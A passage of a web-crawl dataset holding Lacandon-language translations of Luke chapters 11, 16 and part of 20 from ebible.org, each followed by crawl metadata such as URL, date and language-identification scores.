ten a woch pan quire' a yajen, cax mʌna' u nup pan. 6 Mʌ' ja wirej, tan tu c'uchur a mac u yajen, nach u tar, caj tarij quire' mʌna' ten quir in jansic.\" 7 A mac a ti' yʌn ich yatoch a mac a ju jach yaj, a mac tar c'atbir yoch. Jaj ixtʌco cu nunquic: \"Mʌ' a pecsic in wor quire' caj in toc mʌcaj u jor in watoch. Toc ti' yʌnen yejer in parar tin wenʌnob. Mʌ' jin riq'uir in ts'ic tech a ba' a c'at.\" 8 Quire' ―quij Jesús―, taj quin wa'aric techex. Cax mʌ' u riq'uir u ts'ic ti' yoch quire' jach yaj yiric. Chen je' u riq'uir u ts'ic ti' a ba' u c'at quire' rajra' cu jach p'isic u bʌj u c'atic ti'. 9 Baxuc ti' C'uj xan ―quij Jesús―: C'atej ti' C'uj, je' u ts'iquex tex. Cʌxtex a ba' a c'at, C'uj cu bin u cha'ic a wiriquex. C'atex ti' C'uj, irej a mac cu c'atic ich u jor naj, je' u ts'abʌr techex an bic ca c'atic. 10 A teno', quin wac techex ―quij Jesús―, tu cotor mac a cu c'atic ti', je' u ts'abʌr ti'. Tu cotor mac cu cʌxtic a ba' u c'at, je' u yirique'. Tu cotor mac cu c'atic a ba' u c'at, an ten bic caj u c'ataj ti' xib ich u jor yatoch. Je' u ts'abʌr ti'.\n11 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Wa mac ti' yʌn ta wicnʌnex a yʌn u pararo' je' wa ju ts'ic ti' tunich wa caj u c'ataj yoch pan? Mʌ' ju ts'ic tunich ti'. Je' wa ju ts'ic ti' can quir u ch'ic wa cu c'atic yoch cʌy? Mʌ' ju ts'ic ti'. 12 Je' wa ju ts'ic ti' roroch quir u chi'ic wa cu c'atic yoch ye'er cax. Mʌ' ju ts'ic ti'. 13 A techexo' cax jach c'asechex a werex a ts'iquex ti' a parar a ba' jach tsoyo'. Jach manan tsoyir a ti' yʌn ich ca'anano'. Baxuc a C'ujo' a ti' yʌn ich ca'anʌno' jach manan tsoyir cu ts'abʌr ti' u Taj'or u Pixam C'uj ti' a mac a cu c'atic ti'e'.\nPac' u pach Jesús aca'an quisin ti'\n(Mt. 12.22‑30; Mr. 3.19‑27)\n14 Caj u joc'saj quisin Jesús ti' a xibo' a mʌ' ju joc'ar u t'ʌne'. Caj ts'oc u joc'sic caj yʌnxchun u t'ʌn. Rajen jaq'uij yorob a pimo'. 15 Chen yʌn mac mʌ' ya'abir caj u ya'arajob:\n―A je' xiba' cu joc'sic c'ac'as quisin quire' yamta'b ten Beelzebú quire' ra' u Jach Ts'urir u quisinin.\n16 Chen ti' yʌnob u jerob u c'at u tus tumticob yor Jesús quir u yesic carem beyaj soc yerob wa tuchi'ta'b ten C'uj wa mʌ'. 17 Chen Jesús yer ba' cu tucricob tu yorob tu pʌc'ob u pach u jach ts'urir quisin Jesús. Caj ya'araj ti'ob:\n―Mʌ' ja wirej, tu cotor ru'um tu cu reyinticob rey. Wa ju jer junxot cu ts'ictarob yejer u jer junxot cu bin u rʌc ch'esicob u yet cajarob mʌ' ju p'at mac. Baxuc xan a mac p'eri' cʌjricob ich yatoch cax u wʌc'ʌs u bʌjob wa cu pacran ts'ictarob cu bin u ch'esicob u bʌj. 18 Baxuc xan a Satanáso', wa ju winiquirob Satanás cu pacran ts'ictarob cu bin u rʌc ch'esicob u bʌj. Mʌna' mac cu bin u reyinticob Satanás. Quire' techex ta wa'arajex quin joc'sic in wet quisinin. Quire' caj u yamtajen Beelzebú. 19 Wa baxuc quin joc'sic quisin an ten bic ca tucriquex. Baxuc arex ten bic u camsʌwinicobex, cu joc'sicob a quisinino'. Mʌ' u joc'sicob quire' yamta'b ten Beelzebú quire' a werex yamta'bob ten C'uj quir u joc'sicob. Mʌ' ja ta'quiquex in jo'r, tan in yamta'r ten Beelzebú. 20 Mʌ' taj cu yamtiquen Beelzebú quir in joc'sic quisin. Chen u muc' C'uj quir in joc'sic a quisino'. Aro' cu yesic c'uchij tu q'uinin a reyintiquex C'uj.\n21 Ti' toy cu camsic Jesús caj ya'araj:\n―A werex ―quij Jesús―, a mac jach chich u muc', irej a quisino', u mʌchmʌn u mascab quire' cu cʌnantic a ba' yʌn ti'. 22 Ca' bin c'uchuc tu q'uinin cu tar a jach manan chich u muc', iren ―quij Jesús―. Cu ts'ictar yejer a quisino', cu rʌc to'car u mascab tu cu cʌnantic a ba' yʌn ti', cu ts'ocar u to'car ti', cu rʌc ch'ic u jʌsic ich u rac'ob.\n23 'Quire' a mac mʌ' ju yamtiquen cu yamtic a quisino' quire' a mac mʌ' ju yamtiquen irej, tan u joc'sic mac ca' xic erar ich c'ac'.\nA c'ac'as quisino' caj urij a joc'sa'b cuche'\n(Mt. 12.43‑45)\n24 Caj ya'araj Jesús ti'ob:\n―A ucho' joc'sa'b quisinin ten mac tar cu mano' u quisinin ich tacay ru'um tu yʌn u yet quisinin. Caj u cʌxtaj tu cu jesic u bʌj. Chen mʌ' tu yiraj. A quisino' caj ya'araj: \"Je' in ca' bin tu joq'uen a ucho' soc in wʌc'ʌs ocar ti'.\" 25 Caj sutnʌj a quisino' caj u yiraj a je' xiba', irej yatoch toc misa'an chen mʌna' mac yʌnin u pixam a xibo', toc qui' yor. 26 Rajen caj bin u pʌyej siete yet quisinin jach manan c'as u yet quisino'. A ti' ucho' mʌ' nejach c'asi'. Caj rʌc ocob a quisino' quir u ts'urinta' a quisino' ten a xibo'. A xibo' a aca'an ti' quisin jach manan c'as baje'rer, a ucho' mʌ' nec'asi'.\nA mac jach qui' yor jach jaj\n27 Ti' toy cu tsicbar Jesús ti' a pimo'. Turi' xquic ich yicnʌnob caj u puraj u t'ʌn ti' Jesús caj ya'araj:\n―Mun tsoyir a nʌ'o' a tu ch'isajech a ta chuch a yim.\n28 Caj ya'araj Jesús:\n―Jaj ixtʌc taj a ba' ca wac chen jach manan qui' yor a cu quibic u t'ʌn C'uj a tan u man tu tsoyir a ba' cu betic.\nA mac jach c'aso' cu c'aticob yiricob carem beyaj\n(Mt. 12.38‑42; Mr. 8.12)\n29 Caj u rʌc tar a pimo' uch quir u rʌc bʌcristicob Jesús, caj u yʌnxchun ya'aric uche':\n―A techexo' ―quij Jesús―, a mac cuxa'an u q'uinin bajera' jach c'asechex quire' ca c'atiquex a wiriquex carem beyaj soc a werex wa tuchi'ten C'uj. Chen turi' cu bin ts'abʌr techex soc a werex caj u tuchi'ten C'uj. Cu bin u betej C'uj an ten bic caj u betaj ti' yʌjtseq'uir u t'ʌn C'uj uch, u c'aba' Jonás. 30 Soc yerob winiquirob uch ich u cajar Nínive tuchi'ta'b ten C'uj Jonás. Baxuc ten ―quij Jesús―, soc a wer caj u tuchi'tajen C'uj xan.\n31 Ti' toy cu tsicbar Jesús ti' a pimo':\n―Ca' bin c'uchuc ―quij Jesús―, tu q'uinin cu xur t'ʌn, a ray u q'uinino', cu bin riq'uir mac a quimen a ucho'. Cu bin tar xquic u reina u winiquirob u cajar Seba. Aro' tar cu bin ʌcʌtan C'ujo', cu bin u ta'quic a jo'rex a mac cuxa'an u q'uinin bajera', quire' c'as caj a betaj techex. Mʌ' ja wirej, a ray xquico' jach nach u tar uch quir yubic u t'ʌn Salomón quire' u nejach er ba' Salomón. Chen ti' yʌnen baje'ra' ―quij Jesús―, jach no'jen a teno'. A Salomón ucho' mʌ' nejach no'ji' chen techex mʌ' ja qui' quibiquex in t'ʌn. 32 Ca' bin c'uchuc tu q'uinin u xur t'ʌn, a ray u q'uinin ca' bin xic ʌcʌtan C'uj tu cotor mac. Quire' u winiquirob tu cajar Nínive ca' bin ts'ocac u riq'uir tu quimen a ucho'. Tar cu binob ʌcʌtan C'uj quir u ta'quiquex a jo'rob. Quire' c'as caj betajex. Mʌ' ja wirej, robob caj u c'axajob yorob soc u p'ʌticob u c'asirob uch caj yubob caj u tsec'tic u t'ʌn C'uj Jonás. Mʌ' jach no'j a Jonás a ucho'. Caj u c'axob u yor u winiquirob u cajar Nínive. A teno' jach no'jen chen mʌ' tan a c'axiquex a worex ti' in t'ʌn.\nIj quich irej quib\n(Mt. 5.15; 6.22‑23)\n33 U camsa'bar Jesús, irej cu t'ʌbic quib quir u yerc'ac'tic mac. Rajen Jesús caj ya'araj:\n―A mac a cu t'ʌbic u quib ca' bin ts'ocar u t'ʌbic mʌ' u bʌric yejer xac. Mʌ' ju ta'quic u quib tu yatoch soc mʌ' yiric mac. Ca' bin ts'ocar u t'ʌbic cu chen na'sic ca'anan quir yerc'ac'tic a mac a cu yocar. Baxuc ten ―quij Jesús―. Mʌ' tin mucric u t'ʌn C'uj ti' techex. Caj in chen tsec'taj techex u t'ʌn C'uj ʌcʌtan tu cotor mac soc u rʌc u'wic. 34 A quibo' quir u yerc'ac'tic mac. Rajen wa mʌ' p'ur buts' ti' u ras quib chʌca'an ic betic a ba' ij c'at. Wa p'ur buts' ti' u ras quib mʌ' u neyerc'ac'tic ba'. Rajen ac'bir ij cʌjtoch soc mʌ' chʌca'an ic betej a ba' ij c'at. Baxuc techex yejer a wichex wa tsoy ta t'ʌn ca wiriquenex, je' u yocar in t'ʌn tu quin camsic techex. Wa mʌ' tsoy ta t'ʌn ca wiriquenex, mʌ' u yocar in t'ʌn ta pixamex tu quin camsic techex, rajen a pixamex cu bin tu yac'birir. 35 Rajen qui' cʌnantex a bʌj soc mʌ' ja ruc'siquex in t'ʌn ich a pixamex quire' wa ca mʌ'quintic in t'ʌn cu bin yac'birchʌjʌr a pixamex. 36 Quire' wa ti' yʌn in t'ʌn ta pixamex wa mʌ' a c'ʌs ruc'siquex in t'ʌn ta pixamex cu bin u qui' yamtic techex soc a manex tu tsoyir. Mʌna' yac'birir ta pixamex. Aro' an ten bic cu yerc'ac'tic tech quib.\nJesús tan u ta'quic u jo'rob u winiquirob judío a fariseojo' yejer yʌjcamsayʌjirob u t'ʌn Moisés\n(Mt. 23.1‑36; Mr. 12.38‑40; Lc. 20.45‑47)\n37 Caj ts'oc u tsicbar Jesús a ba' caj u camsaj sam. Caj tari' turi' a fariseojo' caj payij quir u janʌn ich yatoch. Caj binij Jesús caj oquij caj curʌj tu pojche'ir tu cu janʌn. 38 Rajen jaq'uij yor a fariseojo' quire' mʌ' tu p'o'aj u c'ʌb Jesús, mʌ' toy janʌqui'. Mʌ' ja wirej, u winiquirob judío a fariseojo' nanij u p'o'ic u c'ʌb mʌ' toy janʌqui'. Quire' cu tucricob baxuc cu qui'quinticob yor C'uj. 39 Jesús yer jac'a'an yor a fariseojo', rajen caj u ya'araj ti':\n―A techexo' u winiquirechex judío a fariseojo', irechex ruch a ca p'o'iquex u pach chen tu japnin mʌ' a p'o'iquex. A techexo' u winiquirechex judío a fariseojo' irechex u rʌquir a woch a ta qui' p'o'ajex tu pach chen u japnin mʌ' ta p'ojechexi', rajen ti' toy eq'ui'. A techex irex u ruchir a wochex chen p'o'a'an u pach, quire' ca qui' p'o'ic a c'ʌb soc mac yiric jach tsoyechex chen mʌ' a tucric wa p'o'a'an a pixamex. Jach ec' a pixamex quire' tu cotor a si'pirex. 40 Mʌ' ja wirej, C'uj caj u betaj ic winiquir baxuc ic pixam, rajen mʌ' u chen c'at ca' ichinʌco'on ij winiquir, u c'at xan toc tsoy ic pixam xan. 41 Soc yʌn techex jach tsoy a pixamex chuquex a ba' yʌn techex ti' a mac a mʌna' ti'.\n42 'Jach otsirechex u winiquirechex judío a fariseojo' caj a chuquiquex turiri' a ba' yʌn techex ich a diezo' soc a ts'iquex ti' C'uj. Cax a ba' pʌc'ar quir a ts'ʌquic a bʌj, cax a ba' a ts'ac a woch, a turiri' ich a diezo'. Jot, cax mʌ' a ts'iquex ti', quire' mʌ' tan a yajquintic mac, mʌ' ca yajquintex C'uj. Ba' quiri' jach manan tsoyir ca' a yajquintex mac. Baxuc aro' ca' a yajquintiquex C'uj. Chen mʌ' a yʌn p'ʌtiquex a ts'iquex ti' C'uj a ba' nani ca ts'iquex ti'.\n43 'Jach otirechex u winiquirechex judío a fariseojo'. A c'at ca' u yiriquechexob jach no'jechex. Rajen a c'atex u cutan jach tsoy ich tu cu naj c'ujinticob C'uj u winiquirob judío. Baxuc a c'atex soc mac cu qui' t'ʌniquex tu cu najmʌnicob yoch.\n44 'A techexo', jach otsirechex u winiquirechex judío a fariseojo'. A techexo', u winiquirechex judío a fariseojo' irechex u mucnaj mac tu cu najmuquic mac, chen mʌna' u mucnaj, mʌ' chʌca'an. Rajen a mac a cu man tan u ch'ʌctic quire' mʌ' yer wa muca'an mac ti'.\n45 Ti' yʌn turi' yʌjcamsʌyʌjir u t'ʌn Moisés caj u nuncaj caj ya'araj:\n―Cax ca wa'aric ti'ob u winiquirob judío a fariseojo' tan a p'astiquenob quire' p'eri'enob yejer u winiquirob judío a fariseojo'.\n46 Caj ya'araj Jesús ti' yʌjcamsʌyʌjir u t'ʌn Moisés:\n―A techexo', jach otsirechex yʌjcamsʌyʌjirechex u t'ʌn Moisés. Mʌ' ja wirej, ca ts'ʌric u pach a rac'ob u betic a ba' jach yaj quire' ca jenmastic u t'ʌn Moisés. Aro' irej a mac cu ts'ʌric u pach ca' u cuchej a ba' jach ar, chen u bʌjiri' mʌ' u yamtic u cuchej. Mʌ' ju c'at u cuchej.\n47 'Otsirechex yʌjcamsʌyʌjirechex u t'ʌn Moisés, ca ts'ʌpquintiquex tunich tu mucnaj yʌjtsequirob u t'ʌn C'uj soc tsoy yiric tu cotor mac. Ra'iri' yʌjtseq'uirob u t'ʌn C'uj a quinsa'b ten a nunquirex uch. 48 Cax ca ts'ʌpquintiquex tunich tu mucnaj soc a sʌjtiquex yʌjtseq'uirob u t'ʌn C'uj. Jach irex a nunquirex a mac tu quinsajob yʌjtseq'uirob u t'ʌn C'uj quire' ich a tucurex a c'at a quinsenex.\n49 'Rajen C'uj a yer tu cotor ba' caj ya'araj: \"Quin tuchi'tic yʌjtseq'uirob u t'ʌn C'uj tu yʌnechex, yʌn jun yar cu bin u quinsicob, yʌn jun yar cu bin ts'abʌr u muc'yajob\", baxuc caj ya'araj C'uj uch. 50 Jach taj caj a betajex an ten bic caj u ya'araj C'uj. Rajen ca bin a bo'otiquex u bo'orir tu ta quinsajobex, cax tu yʌnxchun tu cotor ba'. 51 Quire' tu yʌnxchun u quinsicob Abel a ucho' hasta u q'uinin baje'rer caj u quinsajob Zacarías. Ti' caj u quinsajob Zacarías nʌts'a'an tu cu quinsicob wacʌx quir u ts'ic ti' C'uj baxuc c'ʌs nʌts'a'an carem naj. Je' a rʌc bin a bo'otiquex u bo'orir tu rʌc quinsa'b yʌjtseq'uirob u t'ʌn C'uj. Ti' techex a mac cuxa'an u q'uinin baje'rer.\n52 Caj ya'araj Jesús ti' yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Otsirechex techex ―quij Jesús―, ya'ab ca najtiquex ti' u t'ʌn Moisés. Ca camsic ti'ob xan, chen mʌ' a qui' camsej a ba' jach taje'. Mʌ' ja quibiquex a ba' ti' yʌn ich u t'ʌn Moisés. A mac a ju c'at u quibej mʌ' a cha'ic u quibic.\n53 Caj ts'oc u t'ʌn Jesús yejerob a fariseojo' yejerob yʌjcamsʌyʌjirob u t'ʌn Moisés, caj bin Jesús, jach ts'icob u winiquirob judío a fariseojo' yejer yʌjcamsayʌjirob u t'ʌn Moisés robob u c'at na'sicob yor quinsac Jesús. 54 Mʌ' ja wirej, caj u ch'uctajob yubejob ba' cu yac Jesús soc u binob u ta'quicob u jo'r Jesús quire' a ba' c'as caj u ya'araj.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK11.htm","date":"2022-08-15T07:57:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00448.warc.gz","language":"lac","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000025033950806}","num_words":2508,"character_repetition_ratio":0.064,"word_repetition_ratio":0.001,"special_characters_ratio":0.294,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nJesús cu camsic ti' u ca' ts'urir a mʌ' tu qui' quibaj u t'ʌn u Jach Ts'urir\n1 Jesús caj u ya'araj ti' u camsʌwinicob xan:\n―Ti' yʌn mac u Jach Ts'urir, neyʌn u taq'uin. Aro' yʌn u ca' ts'urir. Caj ara'b ti' ten mac: \"A ca' ts'urir tech caj u rʌc xupur a ba' yʌn tech.\" 2 Rajen u Jach Ts'urir caj u pʌyaj ca' tac u ca' ts'urir caj c'uchij caj ara'b ti' ten u Jach Ts'urir: \"Arej ten ba' caj in wu'yaj u jumintic tech, a rac'ob? Toc ts'ibtej ten mun caj a rʌc xupaj in ba'tac baxuc a mun caj a jaraj ten quire' baje'rer mʌ' a bin a beyaj ten.\" 3 Caj u tucraj u ca' ts'urir caj ya'araj: \"Ba' quin bin in betej quire' in jach ts'urir bin u joc'siquen ti' in beyaj tu quin cʌnantic u ba'tac? Mʌ' c'ucha'an in wor in chich beyaj. Je' in ch'ic suraquir wa quin man in c'atic ba' ti' in rac'ob. 4 In toc er ba' quin bin in betej soc u yacsiquen mac ca' bin joc'saquen ti' in beyaj tu tin cʌnantaj u ba'tac in jach ts'ur.\" 5 Caj u pʌyaj jujuntur a mac yʌn u bo'or ti' u jach ts'urir caj ara'b ti' a yʌn c'uchij: \"Mun a bo'or ti' in jach ts'urir?\" 6 A mac yʌn u bo'or caj ya'araj: \"A teno' yʌn in bo'or cuatro mil litros tsats.\" Caj ara'b ti' ten a ca'ts'uro': \"Curen ―quen―, a je' u ju'unin a bo'or ca' a ts'bitej a bo'or chen dos mil.\" 7 Caj c'uchij ich u jer caj u c'ataj ti': \"Mun a bo'or ti' in jach ts'urir?\" Caj ya'araj: \"A teno' yʌn in bo'or turi' mil tzontle nʌr.\" Caj ara'b ti': \"A je' u ju'unin a bo'or ca' a ts'ibtej ocho cientos tzontle nʌr.\" 8 Caj u c'ʌ'otaj u jach ts'urir ti' u ca' ts'urir a mʌ' tu qui' cʌnantaj u ba'tac. \"Aro', jach t'aj ―quij jach ts'urir―, an bic tabar caj u tucraj soc u yacsa' ten a mac yʌn u bo'or ten.\" Quin wac techex ―quij Jesús―, jach t'aj a mac a cu yajquinticob a ba' yʌn ich yoc'ocab. Mʌ' ja wirej, neyerob bic tabar cu cʌnanticob u bʌj. Chen ya'ab mac a yerob C'uj mʌ' u netucricob bic tabar cu bin u jaricob u taq'uin yejer u ba'tac.\n9 Jesús caj ya'araj:\n―A teno' quin wac techex a ba' yʌn techex ich yoc'ocab. Je' u rʌc xupur. Chen a ba' yʌn techex c'ʌnex ti' mac soc tsoy yiriquechex. Ca' bin xuruc t'ʌn yʌn mac ich ca'anan cu bin u yacsiquechex soc munt q'uin ti' yʌnechex ich ca'anan.\n10 'Wa mac cu qui' cʌnantic a ba' mʌ' neno'ji', je' u qui' cʌnantic a ba' jach no'jo'. A mac mʌ' u cʌnantic a ba' mʌ' neno'ji', mʌ' ju bin u cʌnantic a ba' jach no'jo'. 11 Rajen wa mʌ' ta qui' cʌnantex a ba' ts'a'b techex ich yoc'ocab, mʌ' ju bin ts'abir techex a ba' jach no'jo' ich ca'anan. A ti' taro', mʌ' u xupur. 12 Mʌ' ja wirej ―quij Jesús―, a ba' yʌn techex ich yoc'ocab C'uj yʌnin, mʌ' techex yʌnin. Wa mʌ' ta qui' cʌnantex a ba' yʌnin C'uj mʌ' u bin u ts'ic techex soc techex yʌnin a ba' mʌ' u xupur ich ca'anan.\n13 'Mʌna' mac c'ucha'an yor u cʌjtar ich yatoch wa cu ts'urintic ca'tur u jach ts'urir quire' cu bin u p'actic turiri' chen cu bin u yajquinbir juntur u jach ts'urir. Mʌ' ja wirej ―quij Jesús―, cu bin u qui' beyaj ti' a mac cu jach sʌtic. Chen u jer u jach ts'ur a mʌ' ju sʌjtic, mʌ' ju qui' beyaj ti'. Baxuc techex. Mʌ' c'ucha'an a worex a c'ujintiquex C'uj wa caj a qui' beyajex quire' a c'at a nejariquex a taq'uinex.\n14 C'ʌs bʌytʌc ti' yʌnob u winiquirob judío a fariseojo caj ts'oc yubicob ya'aric ti' u camsʌwinicob caj u p'astajob Jesús quire' cu nepachticob u taq'uin u winiquirob judío a fariseojo'. 15 Jesús caj ya'araj ti' a fariseojo':\n―A techexo' ca tus ets'tiquex jach tsoyechex ʌcʌtan a rac'obex barej C'uj yer a pixamex. Mʌ' ja wirej, yʌn a ba' cu tucricob winic, jach no'jo'. Chen ya'ab ba' cu tucricob winic no'j, a C'ujo' cu p'actic.\nU t'ʌn a caj u ts'ibtaj Moisés yejer u t'ʌn a caj u ts'ibtaj yʌjtseq'uirob u t'ʌn C'uj\n16 'Mʌ' toy tac Juan, ra' caj u pʌyaj a berex a ba' caj u ts'ibtaj Moisés yejer a ba' caj u ts'ibtaj yʌjtseq'uirob u t'ʌn C'uj. Pachir a Juano' caj u tsec'taj techex bic tabar cu bin u reyinticob C'uj. Baje'rer ya'ab mac u c'atob u yocar tu cu bin u reyinticob C'uj.\n17 'Ca wiric, a ba' ts'iba'an ich u t'ʌn C'uj a chichino' a puntojo', mʌ' u bin ts'ocar ti'. Chen a ca'anano' yejer a ru'umo' cu bin rʌc ts'ocar ti'. Tu cotor u t'ʌn C'uj cu bin nupsej.\nJesús cu camsic mʌ' tsoy u p'ʌtic u rac'\n(Mt. 19.1‑12; Mr. 10.1‑12)\n18 Jesús caj ya'araj ti'ob:\n―Wa mac cu p'ʌtic u rac' quir u bin u ch'ic u jer. Caj ts'oc u ch'ic u jer yʌn u si'pir, irej wa man u ca' yejer. Baxuc a mac a cu ch'ic u raq'uintej a p'ato'. Baxuc xan yʌn u si'pir aro' irej wa man u ca' yejer mac a cu man.\nJesús cu camsic ti' a mac neyʌn u taq'uin yejer a mac jach otsir u c'aba' Lázaro\n19 Jesús caj ya'araj ti'ob:\n―Ij quer ti' yʌn mac jach yʌn u taq'uin, a ba' cu buquintic jach tsoy u noc', quire' jach co'oj. Rajra' cu qui' janʌn xan. 20 Ti' yʌn mac otsir u c'aba' Lázaro p'achen t'uch u cʌnmʌn. Tar cu bin purbir ten u rac'ob ich u jor u pa'te' a mac neyʌn u taq'uin. 21 Cu pachtic u jantic u p'up'ir a cu pich'intic cu ts'ocar u janticob a neyʌn u taq'uin. Cu tar a pec'o' cu rets'ic u p'achen t'uch. 22 Caj c'uchij tu q'uinin caj quimij a otsiro' caj bin purbir ten yʌjmasirob u t'ʌn C'uj ca'anan tu yʌn u nunquir Abraham. Baxuc caj quimij a neyʌn u taq'uin, caj bin mucbir. 23 Caj binij tu cu bin mac a cu quimin a yʌn u si'piro'. Tu cu muc'yaj, a neyʌn u taq'uin caj u nacsaj u wich caj u pʌctaj nach. Caj u yiraj ti' yʌn Abraham yejer Lázaro ich ca'anan. 24 Caj u yawʌt t'ʌntaj caj ya'araj: \"In nunquirech Abraham ―quen―, yajquin ten ―quij―, arej ca' tac Lázaro tu yʌnena'. Arej ca' tʌre ja' tu yar u c'ʌb ca' tac u tʌrej ja' tin wac' ca' sisac in wac' quire' tan in jach muc'yaj ich c'ac' tu quin werar.\" 25 Caj ara'b ten Abraham: \"In pararech ―quij Abraham―, c'aj tech a ucho' ti' toy cuxa'anech ich yoc'ocab quire' caj a qui'quintaj a wor a ba' yʌn tech. Baxuc Lázaro xan caj muc'yajnʌjij ya'ab ca'che', ti' toy cuxa'an ich yoc'ocab. Chen baje'rer Lázaro qui'quinta'b yor chen a techo' ts'a'b a muc'yaj. 26 Ti' toy yʌn ―quij Abraham―, mʌ' c'ucha'an yor Lázaro u tar tu yʌnech. Quire' toc beta'b ten C'uj, jach carem u ch'ic ca'ananin ich tech, baxuc ich ten xan. Soc a tenob mʌ' c'ucha'an in worob in tarob tu yʌnech. Baxuc tech mʌ' c'ucha'an a wor a tar tub yʌnenob.\" 27 Rajen caj u ya'araj a mac neyʌn u taq'uin: \"Quin chich c'atic tech in nunquirech Abraham ca' a tuchi'tej Lázaro ich yatoch in tet. 28 Quire' yʌn cinco in bʌjob. Ca' yarej ti'ob soc mʌ' u beticob xan an ten bic caj in betaj uch ich yoc'ocab soc ca' bin quimicob mʌ' u tarob yejeren tu quin muc'yajob.\" 29 Abraham caj u nuncaj ti': \"A bʌjob tech toc yʌn a ts'ibta'b u t'ʌn C'uj a nanij cu xaquicob, baxuc cu tsec'tic ti'ob tu cu naj c'ujinticob C'uj u winiquirob judío. Chen yʌn u quibejob a ba' cu yubicob, ya'ara' ti'ob.\" 30 Caj ya'araj a mac neyʌn u taq'uin: \"In nunquirech Abraham ―quij―, mʌ' u bin u quibicob tu cu tsec'ta' ti'ob u t'ʌn C'uj. Jaj ixtʌcoj wa cu riq'uir a quimeno' soc u bin u tsicbar ti'ob je' u c'axicob yor, tan u p'ʌticob u man tu c'asir.\" 31 Abraham caj ya'araj ti': \"Wa mʌ' u quibicob a ts'iba'an u t'ʌn C'uj cax wa riq'uir mac tu quimen mʌ' u bin u yacsejob tu yorob.\"","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK16.htm","date":"2022-08-17T20:37:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00453.warc.gz","language":"lac","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000070333480835}","num_words":1355,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.53,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nMac aric ti' Jesús quir u camsic aro'\n(Mt. 21.23‑27; Mr. 11.27‑33)\n1 Jesús ti' yʌn turi' u q'uinin ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, caj u camsaj ti'ob. Baxuc caj u tsec'taj ti'ob u jach tsoyir u t'ʌn C'uj. Caj c'uchob u jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés yejer u ts'urirob u winiquirob judío a nuxibo'. 2 Caj ya'arob ti':\n―Mac caj u ts'ajaj a muc' caj a c'ʌmaj? Mac arej tech quir a camsicob quir a tsec'ticob? Arej tenob mac caj u ya'araj tech ca' a camsej ti'ob?\n3 Jesús caj ya'araj ti'ob:\n―Baxuc ten bin in ca' in c'atic techex. Nunquex ten. 4 Arex ten mac tuchi'tej Juan quir yacsic ja' tu jo'r mac? C'uj wa tuchi'tej Juan wa xib tuchi'tej?\n5 Caj u tucrajob bic tabar cu bin u nunquicob ti'. Caj pacran arajob:\n―Wa quij aric ti', C'uj caj u tuchi'taj Juan quir u yacsic ja' tu jo'r mac, je' ya'aric to'on: \"Biquinin mʌ' ta wacsajex ta worex ti'?\" 6 Wa quij aric xib caj u tuchi'taj, a pimo', je' u ch'inico'onob quire' yerob taj tuchi'ta'b ten C'uj Juan quir u tsec'tic t'ʌn.\n7 Caj u nuncob:\n―Mʌ' in werob mac tuchi'tej Juan quir u yacsic ja' tu jo'r mac.\n8 Jesús caj ya'araj ti'ob:\n―Baxuc techex, mʌ' a wa'aric mac tuchi'tej Juan, baxuc ten ―quij Jesús―, mʌ' in wac techex mac caj u ya'araj ten quir in camsic ti'ob.\nJesús cu camsic: Irej wa mac caj u majantaj u corir u wich uva\n(Mt. 21.33‑44; Mr. 12.1‑11)\n9 Jesús caj u yʌnxchun u camsic a pimob caj u camsaj baxuc a je'ra' soc yerob a maque' a mʌ' u c'at u yacsicob tu yor ti' quire' bin u ca' ich c'ac'. Rajen caj u camsaj a je'ra':\n―Ti' yʌn mac uch caj ts'oc u ch'ʌquic u che'er u cor caj u rʌc tocaj u robirir caj u pʌc'aj u yaq'uir u wich uva. Caj ts'oc u pʌq'uic, caj u ts'aj ti' mac quir u cʌnanticob. U bo'orir u cor ca' bin c'uchuc tu q'uinin u t'aquic u wich uva. Cu ts'icob ti' u ts'urir u cor jun xot' u wich. U ts'urir caj bin nach ama'an caj urij. 10 Caj c'uchij tu q'uinin cu t'ocar u wich uva. U ts'urir caj u tuchi'taj u c'urew tu yʌn a mac a cu cʌnanticob u corir uva quir u c'at junxot' u wich uva u bo'orir u cor. Chen a mac a cu cʌnanticob u cor caj u raxajob u c'urew caj wʌc'ʌs tuchi'ta'b mʌ' tu ts'ajajob ti' u wich uva. 11 U jach ts'uriro' caj u ca' tuchi'taj u jer u c'urewo'. A mac cu cʌnanticob u corir u wich uva caj u raxob u c'urew. Caj u p'astajob xan caj u puts'ob ca' xic mʌ' tu ts'ajajob ti'. 12 U jach ts'urir ca' u wʌc'ʌs ca' tuchi'taj u jer u c'urewo' chen a mac a cu cʌnanticob u corir u wich uva, baxuc xan, caj u jʌts'ajob hasta em u q'uiq'uer caj u pich'intajob tu nʌc' c'axir u corob.\n13 'U jach ts'urir u cor u wich uva caj ya'araj: \"Ba' quin bin in betej?\" U bʌjir cu t'ʌn tu junan: \"Je' in tuchi'tic in parar in jach yaj, jaj ixtʌcoj cu sʌjticob yʌjcʌnʌnyʌjirob u pach u corir uva.\" 14 Chen a mac a cu cʌnanticob u pach u cor uva caj u yirob u tar u parar u ts'urir: \"Ara' cu tar u pararo', ra' cu bin u ch'ic u cor u tet ca' bin quimqui'.\" Baxuc caj ya'arob ich u rac'ob: \"Ca' ij quinsej soc to'on ca' bin ic ch'ic u cor.\" 15 Ti' taro' caj u quinsajob u parar u ts'urir caj u joc'sajob u pich'intej ich nʌc' c'ax. Ba' cu bin u betej u jach ts'urir ti' 